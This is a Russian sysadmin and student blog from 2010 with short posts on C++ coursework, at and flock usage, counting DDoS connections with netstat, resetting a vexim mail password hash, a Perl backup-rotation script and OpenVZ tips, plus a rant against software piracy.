Думали, это никогда не случится... Она нас предупредила, что на 6 курсе просто убивать будет. Вроде, она у нас ещё 4 предмета будет вести.
Осталось всего ничего - курсовую по сетям и придумать свой язык с транслятором и написать. И ещё кой-какая писанина. Осталось на всё 2 дня ) Как обычно..

Считать число. Продолжение темы.

Ранее я уже писал, как проще всего считать число из стандартного ввода и строки. Теперь возникла необходимость считать некую белиберду из строки, в которой может быть неск. элементов, пробелы и всякий мусор. Но главное, если там не чисто целое число, а, например, 4.aa, то чтобы не была считана 4, отбросив остальное. И можно было бы определить, что тут косяк.

Сделал функцию, которой передаём поток (как при чтении числа из строки),
из которого читаем:

string getElement(istringstream* strStream) {
    char ch;
    string* input = new string;
    input->assign("");
    // Пропуск пробелов
    do {
        strStream->read(&ch, 1);
    } while (ch == ' ');
        // Считывание минуса, если он есть
        if (ch == '-') {
            input->append(1, ch);
            strStream->read(&ch, 1);
        }
        // Поэлементное считывание числа
        do {
            if ((ch >= '0') && (ch <= '9')) {
                if (strStream->good()) {
                    input->append(1, ch);
                    strStream->read(&ch, 1);
                } else
                    break;
            } else if (!strStream->good() || (ch == ' ') || (ch == '\n') || (ch == '\0'))
                break;
            else {
                return "error";
            }
        } while (1);
    return *input;
}
А потом полученную строку пытаемся загнать в переменную.
Отрывок из кода, где такая штука используется:

testString->assign("");
getline(inputfile, *testString);
testStream = new istringstream(*testString);
element = new istringstream(getElement(testStream));
delete testStream;

if ((*element >> s) && (s > 0) && (s <= 127)) {
          outputfile << s << endl;
          delete element;
}

суббота, 22 мая 2010 г.

Пятницо

Обычно по пятницам все пуляются друг в друга картинками с пьяными котами и обезьянами, тусят и отдыхают. И только мирэашники, как последние задроты, сидят за компами и пишут что-то типа:

class TwoDimenArray {
private:
    short int array[ss][cc];
    short int s;
    short int c;
    short int max;
    short int maxs;
    short int maxc;
    bool errFlag;
public:
    TwoDimenArray();
    ~TwoDimenArray();
    void SearchMaxEl();
    void CreateArray();
    short int GetMax();
    short int GetMaxStr();
    short int GetMaxCol();
    void PrintArray();
    bool ErrTest();
};
void TwoDimenArray::CreateArray(int mode) {
    istringstream* element;
    istringstream* testStream;
   
    //что-то будет...


}
short int TwoDimenArray::GetMax() {
    return this->max;
}
short int TwoDimenArray::GetMaxStr() {
    return this->maxs;
}
short int TwoDimenArray::GetMaxCol() {
    return this->maxc;
}
void TwoDimenArray::SearchMaxEl() {
    this->max = this->array[0][0];
    for (int i = 0; i < this->s; ++i)
        for (int j = 0; j < this->c; ++j)
            if (this->max < this->array[i][j]) {
                this->max = this->array[i][j];
                this->maxs = i;
                this->maxc = j;
            }
}
void TwoDimenArray::PrintArray() {
    outputfile << "Введённый массив:" << endl;
    for (int i = 0; i < s; ++i) {
        outputfile << "Строка " << i + 1 << ": ";
        for (int j = 0; j < c; ++j)
            outputfile << this->array[i][j] << " ";
        outputfile << endl;
        }
}
bool TwoDimenArray::ErrTest() {
    return errFlag;
}
TwoDimenArray::TwoDimenArray() {
};
TwoDimenArray::~TwoDimenArray() {
};

Ибо через 8 часов надо сдавать курсовую. Да, именно в субботу.
Митяй бы сказал: "А я могу это объяснить очень просто: жизнь - это боль!" )))
Надеюсь, завтра, вернее уже сегодня, хоть одим кошмар кончится и останется ещё два )

пятница, 21 мая 2010 г.

m100

На подходе к m100. сам он почти в самом конце (правом) этого длиннющего здания.

И наше хозяйство:






Решил фоткать стойки по мере заполнения, а потом сложить в гиффффффко.

вторник, 18 мая 2010 г.

Планирование однократных задач

АйБиэМ как всегда выручает годными статьями.
Как пользоваться at:
http://www.ibm.com/developerworks/ru/library/l-job-scheduling/index.html

А вкратце так:
Есть скрипт hello.sh:
#!/bin/sh
echo hello world
Отрабатываем завтра в 3 часа ночи:
at -f hello.sh 03:00 tomorrow -m
Проверить, что запущены atd и sendmail
Всё, пошёл миграцию контейнеров на ночь планировать.

Добавлено утром:
Если после постановки задачи в работу пришлось переписать скрипт - задачу надо ставить заново! А то получится - снится тебе, что в 3 часа по расписанию всё ломается, контейнер не переезжает как надо, вспышка, Сара Коннор за забор держится и орёт, города, объятые огнём... И всё зря! Утром оказывается, что после того, как ты дописал в скрипт - а что собственно переезжает, в 3 часа ночи vzmigrate не увидел свой последний аргумент и вместо отчёта о переезде скинул инструкцию по использованию. Воть.

понедельник, 17 мая 2010 г.

DDoS: отбиваемся

Сегодня вечером впервые с досом столкнулся - все коннекты апача забиты reading, картина в server-status выглядела стрёмно. 
Первое, что на ум пришло - запретить доступ для атакующих хостов.
Выявляем
для фряхи:

netstat -alnt | grep ".80 " | awk '{print $5}' | cut -d. -f1-4 |sort | uniq -c | sort -n
и для линя:

 netstat -alnt | grep ":80 " | awk '{print $5}' | cut -d: -f1 |sort | uniq -c | sort -n
Получаем список хостов и число коннектов с  них. И кидаем их в фаер )
Теперь надо подумать, как ещё можно мочить врага.

четверг, 13 мая 2010 г.

Vexim. Хэш пароля.

Тут вот неожиданно понадобилось понять, как руками поменять пароль юзеру в базе vexim'а. Т.е. надо было взять новый пасс, правильно его хэшировать и засунуть в базу.
Поковырявшись в сорсах вывел следующее:
Пароль хешируется php функцией crypt(), которой передаётся пасс и salt вида $1$xxxxxxxx$, где xxxxxxxx - некая случайная последовательность.
В результате имеем строку вида: $1$xxxxxxxx$хеш_пароля, она и вставляется в базу.
Пример:
Надо юзеру user@domain.net поставить пароль 12345678
Отрабатываем скриптик:
<?php
echo crypt('12345678', '$1$adevtdnu$');
?>
Получаем строчку $1$adevtdnu$BXoKOb9rWVuC7jCZuMooH/
И делаем апдейт в базе:
UPDATE users
SET crypt='$1$adevtdnu$BXoKOb9rWVuC7jCZuMooH/'
WHERE username='user@domain.net';

среда, 12 мая 2010 г.

Пляски с бубном

Меня радует, когда винадмины начинают вякать насчёт линукса и бубна. Вот прямо сейчас у меня лежит сервак, на который CentOS ставится за 20 минут, я пытаюсь уже 2 часа поставить на него винду 2003:


Вот так вот. В дистрибутив ОС не входят дрова для довольно распространённого контроллера, а на дровах производителя, которые надо подсунуть на дискете, винда блюскринит. Так что бубен нужен именно для винды )

вторник, 11 мая 2010 г.

Ротация бекапов в fsbackup

fsbackup - замечательная штука, но сохраняет токо последний бекап. Немного переделал скрипт, заменив сохранение старого бекапа на ротацию до 10 бекапов:

# Удаление старых бекапов
    print "Remove old backup\n";
        foreach $cur_dir ($ftp->ls()) {
            if ($cur_dir =~ /\.9$/) {
                $ftp->delete($cur_dir);
             }
        }
    # Ротация бекапов
        print "Backup rotating:\n";
        for ($i = 8; $i > 0; --$i) {
            $j = $i + 1;
            foreach $cur_dir ($ftp->ls()) {
                $name = $new_name = $cur_dir;
                if ($name =~ /\.$i$/) {
                    $new_name =~ s/\.$i$/\.$j/;
                    print "$name -> $new_name\n";
                    $ftp->rename($name, $new_name) or die "Can't rename $name\n";
                }
            }
        }
        foreach $cur_dir ($ftp->ls()) {
            $name = $new_name = $cur_dir;
                if ($name =~ /\.\w{2,5}$/) {
                    $new_name = $name.".1";
                    print "$name -> $new_name\n";
                    $ftp->rename($name, $new_name) or die "Can't rename $name\n";
                }
        }

вторник, 4 мая 2010 г.

пятница, 30 апреля 2010 г.

Лок на выполнение команды в Линуксе.

При организации процесса бекапа контейнеров OpenVZ столкнуся с необходимостью проверки - 'кончился ли предыдущий бекап или он затянулся?'. В образце для FreeBSD, который мне дали, использовался lockf.
Под линь этой утилиты нет, но есть похожая - flock.
Сделал так: в скрипте-обёртке написал
flock -w 0 backup.lock -c "/root/scripts/backup.sh"
Естественно, там всё в виде переменных, но в целом получается такая картина.
Как работает:
Когда обёртка дошла до запуска бекапа - проверяется лок файл.
Если он есть, то обёртка не ждёт (-w 0) и пропускает бекап,
ежели нет - ставил лок и запускает бекап.
И всё одной командой.
Предыдущий мой вариант занял строк 5 ))

четверг, 29 апреля 2010 г.

Воровство софта

Вот тут один товарищ, который не пропускает ни одной серии самораспиаренного чёрнобелого мультика и всех достаёт попытками завязать спор на тему "А вот он прав.." и т.д., увидел у меня в руках честно купленный Доктор Веб. И говорит: "До чего ты докатился - софт _покупать_!". Позабавило. Отвечаю: "Ты же сам что-то делаешь за деньги, почему же ты так относишься к труду других людей?". А он: "У меня индивидуальные заказы, а это для масс. Я для души делаю, а эти для бабла". Вот так вот ))) Делает для души, но за деньги, а вебовцы, оказывается, на потребу быдлу делают и это быдло доят )) Меня всегда радовали таки товарищи.
Тема получила продолжение через неск.дней.
Я ему говорю: "Почему ты за винду не заплатишь, раз юзаешь её". Ответ изумительный(вернее, не ответ, а пространная отмазка): "Когда делают не для бабла, а для души - лучше получается". Я говорю - тогда зачем пользоваться таким продуктом? Ответа не было. Ну и говорю: "Парень, да ты просто вор". А он: "От этого никому не убудет".
Вот оно - оправдание своего преступления всех казнокрадов всех времён и народов: "От одного не убудет!". Человека даже не смущает, что спиздил он винду не у мелкософта, а у честного юзера, чей ключ забил при установке.
Но при этом сколько пафоса пожизни от этого чела. Мол, вы все быдло, нихера вы не стоите, а я вот один _думающий_ )))))
ЗЫ
Он тут пытался завернуть на тему - Вы же сами воруете музыку, фильмы и книги, но очень обиделся, когда узнал, что мы время от времени покупаем то, что понравилось ))))

exipick

В CentOS он называется exiqgrep

среда, 28 апреля 2010 г.

Gmail и https

Надавно заметил, что гугловская почта стала по-дефолту работать через незащищённое соединение. Чтобы это исправить, надо в настройках Gmail в разделе Безопасность соединения выставить переключатель:

вторник, 27 апреля 2010 г.

LA контейнеров

Пробежаться по LA всех контейнеров:
# vzcpucheck -v | grep "^[1-9]" | awk '{print $1}' | xargs -i vzctl exec {} cat /proc/loadavg

SQL: Join в картинках

http://www.codinghorror.com/blog/2007/10/a-visual-explanation-of-sql-joins.html

Очень наглядно! Сразу становится понятно, зачем нужен Left, Right и т.д.

суббота, 24 апреля 2010 г.

Мячик

Открыл для себя sopcast. Сдела в Сусе и Федоре.
Вот отличный испанский канал, смотрю сейчас Сарагоса - Реал в довольно хорошем качестве и без тормозов: sop://broker.sopcast.com:3912/82153